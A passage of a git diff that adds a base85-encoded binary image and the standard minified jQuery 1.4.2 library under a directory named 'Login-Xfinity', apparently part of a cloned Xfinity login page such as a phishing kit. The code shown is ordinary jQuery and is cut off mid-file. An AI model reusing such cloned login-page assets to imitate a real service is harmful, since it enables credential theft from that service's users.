zh=CbH3+-kWPbIY4G2BO0(Q#zC70aKj8a}?``9!>&lMt7zZQTUVNdwD7;GFvzx|v_b>8yl{Fz9`aVvK@n%eB%6vHgs< zJA7g6(-*nQdRLI$Bf-{-(I2@O<|DV7rOFG2>ig;B<)w6E}p$PdYmnbh8DOdog~>T z^BFO9BJX_hoMHs161_TSFnNSW*{WlZN&@-ii{~jXr3Pr6V(;?AJXZuN@Ag8I-8Dj2 zRb5|JAyT3Y8kIcL0aFXLlCPszXPO)k#@pw*JLJbh3(E>J0?Mmrq~7FNi6#L1%SNlf zzzwX`A`GFbv4Zl1GyQaHa+u-4+b;j=R24^ZOP)0fF?(7H{k4=jsZ?H5>w6-1izx=) z*!GO|By05L=qdUpylZAw(&v-5bS%Q{b%C?cq9*UuS?EW0If3l?c_3hb%?JMxs_`G* zKXQ!FB{xWke8a0){snAC`f01QHeMQ}a7nf;{m@4r(9GM2S(}v-yq~GV=@#YPg7Urr zZ^n>xds2TYHpXRMSM}3@>4Qv?QviHm;^@PNa)~)LmRy$X z0*xJ)^c@A?HfR?(?>8t2vPypin#0&*1mFOZ&m3U#f#HL&uA)s*J83H4HOY zHdJuVDq}A3$`=VG^eNl7D%i0_xC3K`s;Ww{pt**=lEE=jYc;QZ%8wK%cAwGEKKb+E zEs@fH`|zKC*os~Br&x99Nwf|2C!R*Enr|R1V=!7A`OaH*E1_gHAlXEH6A)nzas-YC z%jnPXUrD*_~t503{ zbwBxVA?;tnk77)v4;eKf`t?b)T1PvQ7276o1Fh6FhiFbKa;U*jB7iU&0bsV)Z2w;> zX~281)}=&%`cl<$%e5Q8Alo-7HnCkjB!EU}A|cU;ECWxt)d$J)%ebg=&dBy)i8I_> zj=aAqEpKSPPb~R-sNLR97Lwhsb3aKx56nNFU&{V(1({nQHRj}+Ei&n6E^Kc0q0LQ&tp^KJ*+=MQwNJAGzw;) zcJ-&sVzx!;zmg@Hq$6FPK@ZH*<-!NVxmPh-}Wt%=vSFI&F3obA%zMN9S6P@Qf)dv8|Lv%`NP zya7V*Dr-2WD&Sa#zJ6Mfuy46D{2I9I$EC&oy4JxPh7omp5=xTu6^W_TxvpkY!Gfne zA#Sx2vR`L+p1$!6Bxb#!aiia?2IFauE7aC0=f6t5|ANjY+ob;o zA=`<~cE?NBE9;voU=Wq+7pCMdo7Y3RjcA;VW*ZC^n*0=Wfn5jzcEJ?+1tU=jzuIO! zHkdqeD7MY=;VNrsO0eJ!^DFY1Y{jk{^gKvPD~pRwnwO1e|mL>>^;+I^3r zVCcjf0Xb>eviS+%(Kqk>%MtwZt%8$;PW7)jwPl8|`wevdSn+nsCx;PK(`6%XM;YF! z_$*2hDo)U}&`EZW$G6pm304L|tyCJ+07c>b`iQ_2WkUjHRMk zvMUx9s1h!CH!N>oTf-mZ-dd`Kvi(ZH_yalD^Qo@6W61j>2J6xVaIG!n`CAG5ukIo4 zZ;-6rFyVcL&j&+uv&4lu=dUq$ZCbR3C3r|(P}z#XuL-H=JBo_&g$wTO@W-2#HX>$v!hPs4b!HeE3-~&sCoJw)mG>cc&}AMErMN#e;wsy3Zrkrp&si znb)F=wF9^gftDVEn_i-wgMr*jgA!O}qtqq#KSeSX!q5=FK^uHu@9T*~KXpy`^L9{t zA+(g7-m^Jr2S#GfZs~5I!6<}a7g4R<4mj-ed~-c`nn`GbtPbJ{DRo_ZXgeJ(`a{$b zXzROx2zMt>N{x;Vsvd<3fQ{uPusJYD+#`|Ykj<;Ng*yfUUVw}=tRe^7HMz&!9L-Hi zCJo;<@jZg;#&-kk42LjNaqiH?c7~&NB>feEGZ2eP6C|glOP07XVy2O>(*A+7E4Hlq zn7jX&2>n;@7sJdQ3#L>pJt*SurPu>gsib|YkMYv(;(e3Yw%jt8>o5KyQiEHIL(L)i zC0xr5HSr58Ov#iulL|(`bSq^Dxz{Gv-%_l!pK6WjHBFw4UA_(9#Q?&rRJdV`HKSQJ zUz4Y;*z{s4Djx99u9NlXrnA*H@E@}2M0sf-XaV~!FT!?dyzSKM`FT6GUG}*zMtFgF27`AKSC7A5Ki7UgHWRAzn>zBqh zDi6OW`B8TIq|d|8)||ZntqO(TpzlSCSJb*5NY>5^I{J#>ZgogX%CoYRMjMgUIry6W zKqI9r-_2>S6=3Wo;@lR_B#_C;MVon89c4m65BbRp?z&Ko2!8hz(s#*!gy&bRe zIDbTm)qkUJLd4FZMaOtf&&C{lk(q%*7u{v1=f>O z*%FC~&;g6Ob|DE2tU>o zG((HMF>v*$q<}XS8rk=H-YcwiAD0+*8ho5w;2EnDi69N%eXBGDS%$qRjv*FkCP1YK z?$HB(FSeWv=!2?SLU~mS?F`zx2|sDyFGz5rbuW1a(z2|Z zY^Fp7Q+x7I?R2*KeoT*NdHBP;3^YSmDAEvUl7g{JL8RS*A6*II;{?K^$-V? zxU`su+r2MWM5A8^ja>yY5Sf@St4I^sU%jhmi4&==(2u+zPT{!sCX<~p;Q~sZ?j;<# z{{ViJYRDpL@9k|9b~b~I*#;67+-I29u?M2px~8bR#T*J5h3aLUAB(g}?O75)hfx8cVVqTcdpC`7m&MXCd$S;$SxbWx3L_@5^(|aqx0shHXmk zgvmE%%vCzbV|-E}CC(Wx{@EK=)T`@-A>Vdn?8orKx|0)rgN&IlDkheKn6KX74E4+0 z%fIVP6}E6VzEyH`Rue5%MFDY(&OrUfHQ|!W9xe5Aj~hcHhhM#=gH|~Yj5dAHCwdMt z|5azLI#d~tsg~Sh;iGt2ovtsBIYBS9xbLvCn0<5%&`5>lv1+LV)wQoo#AzgHVqfS6Zxl<`7-C9lbhrtpod5$#d79$`)d( zm)dnn6D*%0@-wCEPRi9e!u-V%zx~m+j8@#bm65J5 zGxUur<-O8&uSMf1HS*Rk(+ALVT7xNw{o{(z49ivCAqAw=h}gUUTHQ~sW}yG_DPuKOkI zNr0}b3HcHQG~MFPRHkHL!Qbv(t-4c1Xy1YWtclj{sr2;=d^|{)yq>j>cDp zoiNf-Rn3>YebtS0;f+8@8foD;j|fYinbBW7co8(ag=60>MK)WVy-Gc(W|kbz8Vf(4 zTfKBBd8g30`e3sv5wny2PW>3cqvI{ck;TCfq)h>Gz18gd&nwBR2hBeJylq=TYxs{a z52JeokbcGjY|gjMAr+xgd4>F9L42jG$kGgne|kDLywBe7MrMk;mx*F?S2e&xUC*p3 zG=y`?{5XU6Wf}5Y(?QuyTJtU9{s`%jC93Fe2Lig%FW6->^{GFxm!0NukOufDw5*2F!^ z%`=%tSP}=9a{siH|If1UP@0aEJLuaI*5^f$E4(91dVXK_fO9_pY4W&1{R(JO-7Td? z76EwXu%|oU+3$hBO?A7ZiJ;%Z4hzp!#W6C;@Uu?oQz8>@WO%Dm&i0kRX)0ypi|ePu zC#Dm1WxS0%Q)lG{g(BbXL6}A*SwzY8CSJVhS>lVEqjGauz-bl>`A}K+xrVQOUAVMI z`Q%bp)==(5j(@ON^;ZFhW48SPkU-}DvE}|ZAj<#B<5eHaC5lFE*A#@$`Gv+0hF7on z9^R9<7#{G(kgZBR9w})QMM$N)BP9yI*1S-o`Dm=KeMh5uX-k+}oggLG1VP_J`QiqU_eBXl0Pvl=LWk>h#lw&G^Ux1+CA~J= z;HVQIb>GbaB74v7q!d2TILRmlCQ=4Kh;bPRKGAz8H(fBELAtL%eLUCa;ooZ>SiRdY zLf3TG4sfxIlh-82!Lo%bd&+IPTL6B&$&Ifo;RRCh>#7?^pTcdrEV$fDGYSL~M5oE% zmu3OD(ka!tU6Mp;d}*w>garMO+on@M`$J;FtmaG;X0UVWOQJUN4%44!$jO_KEU7_l_2m?-m*>Q8murlTG8&z=!v(r6kEMrZaESNYo#^Wn8z`62>w{8k&qkT9Ty%_iDLvqo=Fm9Eohdo&w zd>Q}fwGzo2+`^?2_f-IcRQ5N|ds^U__r*%~DWq7A(nG?tYND^~KXo?n^ThV?r@8e= zC3(O2xqnJPN5D6}4t+CU_3d$4Ke=ctcEM>e9-D^Ji5sp-c20rtLGimc(3Brk*5UD3 zK2}jntQN6P2?EDx0z0MKGagkP4HivQr|7yE_RTgn1nb~=ui}YKtdlw`d`X>&*%kcr zQ(t(~m}DO{w0i}$zbu`L>e`=jnBPEGzhQeFS z`lk88L$Pkvi9e(wan>Y{YbAza%S)tgRFFI=H+~MzZqDlUosn|;axx9g{xb@Y(KCD% z$A2fB{C2cN*Aihr>k-*bYRyMiE@z~}85m1q=d0{xbmN0XcCzfe?P>$<{HpKO(F+e< z%5eC6)eDN|*_G`yr)evZV>V{Y%Hckv3)emouQlXc>HZnshZVMZZ?Gk>%JY%vH8{Wf zT9$sIwk1$!`JJF)n)7jv=WmcJ$!}1Ft~L@I^TJpcQ&$Q=q=SxpUqf|}$P?;`+t;_% zk%EI<_NB7Z*}2*p7xAVEl6e33;P&qaJoA4Dc;EjDc=2uV_WSv}*W+s$RVR)g0Z<|2 zCv5ka{sv!nqTkJ8ROw+d53dn8uv;=@GVoIC%^N+QB&dI61Nc~7#>nI&?`m}3jnmzk#L&PB&?>O}xd+bLi6Y@EZv^zqy9D{Dt${nvrVklB zPp@H|F-?>1;3TBnP4Px4K}QXj!!aN&JWQi2v#Q6a3QO9J36c=U!3M#S*31 zarR5Z`h~!G)#rS-=SmY^Y`Hk-4apRkh=QC~g_7~pD5SZdG`EC3bY}z}2}6jIU&g+r zxNRNH_ueToGQ$Qt?&wZuQ;tDSML&(kq3VDKTQ6?OLEd(!c*n&937NWQ$qZ$0d{v!a zFru_x8}HmVekQ{COuS+9%E{QFiY-DToR2Sy;`Kw`tE*SMsb&^q@A_XbE;@m*)VzGN zOE(R#2&VxsNtJbEI>w5|%gG3ncx%DHfn$Ir@QuRZ=PTr)v04Je_QBVD!G`3x#m#d8 ztc^wL(#)ojN3tiq*iikHRX>J>hRemSF zY((eof5LVD-@25#9V_gA19UaU_E@JnA$wd2QYp2Gy2HMM{G~vijn^HH4YUzgQ=dh!Am~h*%y!sWQM&p#D_{P4mR1^iI4h(02G`}xwFTx~B zIppYPwOw&!e&Y|Ijjb;6UkSzk{N5!A-zD)y5<4P0A>mg=ajj2|EpI!t^Y)m*553$= z>Bn8a%oE@20Uml^foF-8Ky_oPouR;reyMl9|nWPyX3IiEzC2oo0{x1 zQ6`I!(X%GoS=ZF)Vu{bEa!<5j_*8(XOG}Ooj99|$22o(Be>q8xF@--iM(GamZ^vDZ z;FO{4eQ@3)55sQx=Dcm{BEAB3+oLW=Ep?Y(eA1ZLavdJ(;k<4-fqsTe+J^LMSL z5&l3dKS0$gwBQu&yQ)8lktyz&r|NxHY*Mj1+@VRJsz&Qlv%7{ zJe8`B&nI$H#ru6n40htMiPH7eda-CJ=xWc=Rwzi3k-gO23hzme=4$JzIzFil?hu-c zwMde)%m>xs$KpIhJHtptJ4bJEsMqeR6oqhXMo)VNhUFidlvcQDUXxl#{@0D=M*}(r z7RRy$b}3H!vl1`0$0{sh6&U^HeYdbHvT9X5UQe)0a{4@4-mM_$n+YqeVow>cc}vgM z<<&s9ISJr5TD_VotyWc$T}|i6o@x`jI+4*^~NB{;DWG(tJu?JoJE&Ue6a z#ms0)v8lU^2IJO-B6cK$PX2J$*)B2G)1UcFzJpF+9vlmr{(umc(`FxDp7ECq4_`s6 zA{L>#GQV6Q-15NV8J?2O=mRqmE4AIj%H149sixl*GK&b#KtSwvF z>%#o8WxpumIPjEF0Bim~Y5D>Bm^=JD9|SEaR|w|3AHu%5(Bm=>1?9^o92*69k3R!o z67~%fTz>OerZZRxl8tcz2d~4A4+A~ExDjafz|Z2CGGXQ~n>CZ%vG>Ax#g1^|icOmpDhxAX&&J7Ise)T@)80DdgMi)OQcsbfw0ilX%E8A9d7 zxNtjXypd2geg%u)(loQr*)mWTBeVL~JT!3PrETHhV=Llsd-_cH4>e!n6LtmP9et!> z3T?iZ>HL;l^On=tLHDU($6@%eVaC!N@61}PAwxanc9@{JZW1L6dBQ5_&f}KfAU$0? zo!&+nXKv$6-n`fMD--7`F``F zv^#&&c4f3*qYhyplcBNPy3J1mu(k8v96tWZzCnG|@`M0bC3kGYvvCsdolHBo7RS_{ z2)YyGO2;}QLE^OWZg!3PP*~jSL2X<2uaq`%!XSw9-E+(HOa1An?t`_2m;#n^?y5&k z5Yv~*r_5EAY+8G(e0hD6qJs)~rlxwOA&@8O10K##>-f1XxbJb^le(nLw0^QFFTqtP z-lNPlfTwN2tuBHsdg-|b9yvfu3gxZM-H#2|lz4&*!a6%NQcHKU$)Fv#YzUn%a(SMA zdv?GPo_amtUQ-s;HzE-9Lk<=_~Yd2E+!A zy$zrfM{@kySX9o?UxMoRYT7bB$RW<7IWf_bI`IWBGy_19p8G0*p8X*@2+HQlr)j){rNtZlZB@=UV!If%(h98QB1qIto@R`5F>%OL>}@jpdRNomXFYq zv(nn^9P@KL`cusrTmBD08f;nq|8JiYF{Op#IFc?XUMe=<=y4j))7m-q z2sfb7{(sJ=_5S43F+x z5B^clorFLuA~(-7K3jXQ8yQ~0Yy&K&lYCa+14ykku>B7kR~{;8!n1_+=pDy>Luq+^ zkyyfPtjme&pk>EBbz*3s?zMILO(~Q5x~HK}aX>JCLW6h{t}>{M{-Xpx=?6u$Xbxkk zydgy!J!;>0td#NRsbT*r-P?*9&&EoMOAVz~bm2aqO?C$5lO*hJhD5-VO@ind4Pi*- z;X`PHV%5Z%DanF?9JKkJj=>wnWC2Mm=ldkPdNb8gd0Q=HjgJVL*7wKPf|v8+kGD4y z90pi9p_GK93pHHL^t)nwUrY(1LnrE^_lc{^XB3>)KR7?k~*OI%*_Nw&QY?9gonCP1Im*J3BR$*~pb~R4_sM zL)AXZ{MylGq#!f2Ypr_hvjc+h+ms>!AlpbyGXNtEq3N^(Lbyb+|mC+|N z;O0J%!7bT4fg5aoJ<<)^TQxM~pm<>+9SIi^{xp4C|Mq

>CQGyZfT;?vmG*7?NgDJ*>&35Az z1biq!KKx~^yPQDQ(>&-dCLd=GG$d{7UGEbV-Tx?a74IGI$x_isxeQ0Wkl=UB_ATA_ z(-QYw&`n7nP=5(GH2`fk+Vz_u3EQZO`?0JN<_vkwgB0Q=o}kq+fhGa^GaDghD_krP ze$9x1niR^mc6MOx)}hNw{{gK^%#{VbensU~G7|iYQAm2XY*PxAiNDWxzHqXNDXiWr zf}EPNJa1VfmRCdzW1+NLLJO@YB}m@2`0Q#7qF7lfD;;m?+eop+=zdR6W*$`y3z&2f zr}SwDE2?v<2U%fy_rvA;C z&agALB!(l0S-`0L#S-J$0gp!8{vkh z29>nI9`s?g6t_DzP;55(HKXXi84wpeuA^dGjONLeg}B*+xjMVHDatLeZk0ON>q^%@HFAhw7St;G?bjrrNh z?H!}}W8aYX2lr-UWIupMedGzzPg1a=)#E=)q#a9gghW=}NOk}4V4)WA=X;?X;NKy3 zR!r+zobuxlf$KgEow5TP7Gs>h=viwfo^Yt?4=TIj{#l>ilk7Wt&|Zd=9~b;4eUQ5{1qs<$;81?gzU6Vk$ z7fZQCLy_Dpxm1M+)t#6x0)+Q>G8meLCf+~Hcj7F+Ma)xhcD`$}yKIU#jnY-O_xA9# zN(@f5TJ@w0{Jv{wOX}os{8P(?9Fk4RS|D|LHI#IRz{A?z?2C36w|cN-%b&)_-0@#n zJYZ(Q@4tC4`)b^EUNt8bjKDRg?szs=^t5Lhmjk*w_P}24?-a_c|Kzr4@X_=VuRfwr4>{|n{Vr`6CU7U9{auVnv_OfW8_t(|1xVXfv>~_ z=TtPsbfiKp@cYj{q>(yZm?D>apPiKoqY_p~R z8B!?wJQ~fA<}_CArP2%Z_$G1*|8e#jc~r4Oxbg*6VrHDDp5&ABMIr!bdXlXf?!*le8Ky=~=_;+zr62V^ ziBWCVqwFC84QTrhiTQLKi%%LBnWpn7)i)7&=H8xrSUtZOBe)Dkj+)9;2@JB!h_*%n zIQ>P}cpsO^b$KO$Cib7TmNs*Nz$$zMw`qHl$2)h{SmG^fDsyZmq|KQ>@}lSl*T~n( z__J3FB~#j&M1Xdw zL-E|=XRZ=v7Z?aqzK^>`(cR}1oxb}8KsV19$Gha%;=1#HGEH;EaHykb#)_-f%9lxZYDzq4)+GbM{_&j(xZcS`JB32Jk8(umJ;NY`E+%S z_v8ch-Ivkw2m3d7ERE)y#x^A$({oJnJ5-dT)cw+)B(=}Hou z|1&>FcesVVWzAv~Xn%MAW%P&F?1#Gkm-Q^}A3!kZxYiP?-1tu0e+O(egQ3nj&ciE$ zwr!1vN-bS!=#PD)Jgl1y>>mHo;-S|xI-Oc0rbKD)5_j_h7FX0Q9~EAoWHuFE1<4`7CheVPQrEuhV?Qruw~g6>kwos2q$H|3U$Hm%uZ1KX0Oj+q9VCPR@xK&G z{!hClJGtmy1X!~GN$yA*fTNBG{n^N+oKogsoF(q~Up1C&CCoa!SfF z_^*%Tm_bT3C$g9ldDAyggc8E2l%Ncgjpm3F;d)unWtg3n%-ux4JXrcUx4z%QpFSIQ zRw#og5e3?+i`q$Y)@NS6(LI}bYsJGTo?~DKs%{Q;yA7`o-VHH(9QJudG3y{CVrOdSsPS5?ISde{K z^D76Mj-&6S5!1Y={Koh5zqa!@26aYT)+lX%gN(EQ+c+|-*#8j!|Id7Y|J@!#al0$c zSGWYfyMN)T+fUy&0TNw%WJ0_1E*+KOwN3xWZccgrnJ@lguRwRW{?hW*1pQeb=Qg_| z)v`X_Ey|;YQBBdvwJ4VsQp@*cW$D1_GZ*X+jDu)TrH))wyZ9y3E$#3h~t_B zTQu7SAQMEkRJhS!p2IQdD*EYqz|IDsm-!hq4+1Te<7~St!ajc~KFr`4Y;y*7eQfjJ z?%D6nBetYDgi15f1p&yEbBFBTASobREGB1P3u^#sIlvGiu64KbCu)Wlxp z*_#Kvp7H=|Z7zj#2Vmm<>kYZ374E>NLa9rmL;{cV(1`E4FaCqEfl6>;h;4iN2K@5qvE+#NK)OHAO$K; zc0ZbNtD6RHb{W2$usRv4DI;*j98hU~97N16)xyg}-&X;E?X6}zFzk(Ef{K`Ng77e9 zMPb~e-Zn>*$oF2USLB#Qwc2ufYSjMB#EU7j6l&$GHzWM;BlVcmQtBDeDgsB(y8{#P z5A_u;0x--MXr!^FCu>kMIp9#wyDH)qK~FSWRo}B@`0g@QsOPTQfjVQF8`%_Uw_8XG z_t$D|ZCD9+9y4TrygG%kfVCXJvv`Hy2Gr~#SUZM8YrJ6RO?e+7L&>DgC-{-d(K)p3 zjEiLBP}~&@KcNrDbJO=BYBP*HiPX-DO?={Kt&DRn")P;pQ!6?^l=-;o%Y)^IFFqaLy^*t!?j&$NT!Et* zW{j)T&Q0H4izcnQ$8y9h(1c(!5=H|On8iPhcsl6AbTV-DAn~*NsfpW7PZp~*T%rcN z&Tz4t36)n5q*#39%F8el4M$OpUMAR&Y%FfGZz(OdUVxv`jmy2KdekA>sJ|4YrS)^4 zAwu_iWQD1Vo-(z>5$1%j|f6^X8tVOV|C#w2KqrfpN@n$k{`?j@VO zkDluN5l|H(AzW%VjZE}9|GM`q?I$4O_Q0^=2|$ z;!)nNa9KNTXZPnOGtGyPxWqTa>Tn&wg*DY2MaTv0-lx z``51*2e;&Jdk}Lv<||NsEbH2MzQ}g*q!$hTiFx890&si}yzjxPn%mD`xOGpX=VwEu z7mQp>th;`L?nGx7s34$rD`49-M?Mw(d)kX*iDnmm>5`o;*{yJLo>k01!x*<_|3UH> z&3Q`G=h)|n*`z#MM?>4$w6=7&KMGu_j7wT zH(H!oy)hFZ8_gwxG8U)!_g--$Ub-A`+%sR?E)%M{QFGymH3)hMLSx$Uwcb$yC*tTC=Wdlr!9uZ!UrQr51(A zlsc2s?5;M31WMAeK#C0NTqw@<6e`zmyk%J%6}+<5?%#1zd7k;edvy~Xqa%He9|Ooy z^_w7&#I{Q)m4c>fAHZjp2Illx7Pgu*DT%aR?n120D-Ub`9MDuHrMHf!q&Iua`$k3r zMs&Jwuz>vwZR(U`m+BEcree>jbf;16C+~C!VFG=biPA7YCx_u5NI2Q&Eh;V3vUD8? zCEi>A94qqpy_B_9w99B6q8WSy>u8}^l=Uotx{tGlOLIz){P>n4N;wcBvUyT0jB;EZ zzO&=OkK%bnV)znjyj7y`W|y@`v3GO#SCJlC011n5n}sNJr?l@KnO|UyRN!yg+&j*f z?Ag2m8K7FSj2C=FepVUwRNGN`b=4>c>yzo3cBLPOFMG$}LHVe~x01oz7M>-fPa#EWpdKdrL>^_(8bI8scs44bLGv5Od z<9K3UzGBGRLjpFUtTzp?eS^*YRiKdQjU0SS-%uXEX|o!`;sF1U@Ea68>2l=wLkzfl z*C%uhMx)B-IaydwvV9U4eoaA&hV=7AtJ?z&dr-3I2kN*|^WjZ``cLwq z^PW0OIt$C!8LOU}{M*0$nT|p_Vk)6s1gsqk)MeG<%<#TPPP3uw`sMMarbA75;n z%$kTV(+5+XHuIU1qUtwD-p60=;=iNJkhxH5Z3PhTTi~huzf!ROtWEL1&+{M755(^S zmKL%U`zyA3Y->Tc)4Y+-NPe2=0%DRUKUz)+Ct!yIrf6sQqi*=U-p4vs<5^nc3wMvC zSpkO&LXE77Q)5Rp{qZ=GN=kE0Ro7+{SJKn3Qs!JT2s)Hx`M23|P z{pz-X+Gj}CwopAJHL0dLQr72HjkEM*HtC@l*>C4)|8zKI{Xt{sDx1)^)1T= z!vhR{tCh)D_KQMnHQiJcCyzBnxgSWGWdQBnn*V)%e71jguoevy0l2MF1Z*;K@d~S0 zYye4*4!^3o@l*v$wp5_Y#igOJ+}(wz4OQdsvKj(7>Ex8;pP4b4OUFs4d(n3cW23}X zj#St8bjT+jIe{PtpZyJb zp0s7cf*cB1CX*>#*#F$6xxl>0NNDsRaBiise<>!a#Ht?nI-Py*&{`bzDcO;X@ztw4ja*2K9u>ua^vtCFdJ^?}{7)3yrV3R-U!Hvz%)ucQ)f+IkgPT2@ zKJIRJ1kx?>PJ)6RA|n;7YH0OrVTDDKbjP!9x~kJTzsI97AzWv>VV%VvC$`_yEd_Cu zeD#;e@Z91b^tn8eU!aE5_0k-5bNGhKR*gL!T0biuj!7*-6l@!izUa0kYngdz_cSNj z!bI{znlGRT4qwgtXjXR|C&)f3a*|#1ss(j|eWh!?yhvuVz)@kJ&TwXZuOn1OSN0$; z?rdAH9=9ESUmxl`@e4xUw<90)vSJvoF}lMdy~Dy~los4w=_ZAPT1$0+Gr=wG$16G1 zJQTQ}=1o#30$3>taT)r}t@9SajV;XO(#^Hav)Cwr}kvtlV`Ek8Wp5%D`1tPd)O!qN9zZl3jzut8Zz#_O`^HPA>xzIMtcx2M?jNH!BW(&FJ6?U9$Zf9&~o$vYST>gT7 z|NQj4UZ3anyl>C5GPAj8DM=1bsib@8tEeZmj9AQ{4qKJ(2sWQ)#wCt`?e_C74*Ubr3Y#3q65C{(Mb9RpOtKeBZ*Z zBFbbcJi&fMFZN|8QHID`N}R|JoDI25K%@geetaU!k`$?<`7k30$q=aYIZ0XA-?2H%mKCSYhAWpF&uS$#O4UU}4Yla|h7LDiyq!@}UgB3a z5qy2n8uA7RcZZL`F~axY4}WmB9tY>Q6mpa%C(l^gHCXJvzdq1uEp)V{LRCE;0XEP& zOjP4$;7nz70EAXcT7{oPqSdi!kkA}3>gsT9SruE%wdm<1?#IHEnNWV(dP_kACi7^< z;7Il*M63c{h7L;XyGLCn=rRE&6y1g?lI=F^_FU>(Q)G7%1PpN@Fdhc519tX!>391D zz3e>FSrVyNc9o@@<85t|o7|e0Z3$8%9IN>E(~G+{N&y!B&bLep|L@Z@Ej>}pNm5!+ z7ayXy)?ArD-Cmody+*4&2Q@UueFepC)=l#kIy;DA(8}~2tn_e2s7uy|6QUGufWzo% zhJw(17VbUd6REU<`*8V84h$za+ve{$bp`y;oZJ!f!((2$7|G}KW9Q)-13VbJp!BRx zpi<{X1lTZ(k5A#!@v=_45eWh?T|2SA6|AQ3FYHh!RP{yu0s&tJmgo6>7XaCi&!)hpW(F4H(QB8N#uvD&Sep$D9gqV;mhL;9tnRrJWkpF^sIF|$*#euAfh!i>P&X>&v0 zBRLkZhVP0z-+6ElJ?d0kc{1X*5U>X7j*8 z%Eqelu60$qaiWjFZYQE9wwzJ5+~#j}O&&Imnw&kaxSWx69=n>P%ZWEIoX4*45YH2knI!PEvAFI>0PNm0JzClbNK^-l z0O+Tpu(OF@yJYJo`!ptEx48`C-Z$jh%qi^!ehOXie89nzYSzscnb?LyogNe-fbljE zdC`-I(kr}C@EMFEI=loDhdTLo=j~8m6z|azH~s=){PN_`8Ln%@hRNlC+smQ$vWqGn zPPjiT*CQt^;iNNch@2+)6^a3%>+235jyP}1Ho<;|kAwODOkKh)ZX2)$Bmt7n4ZJ0cObkHf7zhL zF!{%u)|~k3?vFPwLmw1x|GZjMy|etnZZG+>zPETp?&aUJ%jo#C{0T4sdea|$S6ZF7 P00000NkvXXu0mjfL6v9~ literal 0 HcmV?d00001 diff --git a/sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js b/sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js new file mode 100755 index 0000000..c5885e8 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js @@ -0,0 +1,246 @@ +/*! + * jQuery JavaScript Library v1.4.2 + * http://jquery.com/ + * + * Copyright 2010, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Sat Feb 13 22:33:48 2010 -0500 + */ +(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/, +Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&& +(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this, +a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b=== +"find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this, +function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
a"; +var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected, +parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent= 